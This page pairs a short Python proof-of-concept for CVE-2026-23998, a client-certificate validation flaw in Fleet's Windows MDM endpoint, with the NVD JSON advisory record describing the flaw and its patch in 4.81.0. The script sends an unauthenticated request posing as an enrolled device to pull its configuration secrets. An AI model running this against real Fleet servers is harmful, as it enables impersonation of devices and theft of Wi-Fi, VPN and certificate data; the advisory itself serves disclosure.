CVE-2026-23998

import requests import sys # Target configuration target_url = "https://fleet-server.example.com/mdm/windows/management" device_id = "VALID_ENROLLED_DEVICE_ID" # Replace with a known device ID # Headers simulating a request from a Windows device headers = { "User-Agent": "FleetMDMClient/1.0", "Content-Type": "application/json", "Authorization": f"Bearer {device_id}" # Hypothetical auth header depending on implementation } # Request payload to retrieve configuration payload = { "device_id": device_id, "action": "get_profile" } try: # Send request WITHOUT providing a client certificate (cert=None) # In a vulnerable environment, the server might accept this print(f"[*] Attempting to retrieve config for device: {device_id}") response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Success! Configuration data retrieved:") print(response.text) else: print(f"[-] Request failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-23998", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:30.983", "lastModified": "2026-05-15T18:08:13.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet’s Windows MDM management endpoint could allow requests to be processed without proper client certificate validation. In certain circumstances, this could allow an attacker to impersonate an enrolled Windows device and retrieve sensitive configuration data. Fleet’s Windows MDM management endpoint relies on mutual TLS (mTLS) client certificates to authenticate enrolled devices. In affected versions, requests that did not present a client certificate could be incorrectly treated as trusted. As a result, an attacker with prior knowledge of a valid enrolled device identifier could potentially impersonate that device and receive configuration payloads intended for it. These payloads may contain sensitive information such as Wi-Fi or VPN configuration data, certificates, or other secrets delivered through MDM profiles. This issue does not allow enrollment of new devices, administrative access to Fleet, or compromise of the Fleet control plane. Impact is limited to the targeted Windows device. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.81.0", "matchCriteriaId": "84AB2C74-C556-4B42-9A54-A5B201D1BDC3"}]}]}], "references": [{"url": "https://github.com/fleetdm/fleet/releases/tag/fleet-v4.81.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-2rc4-7jc6-qffh", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}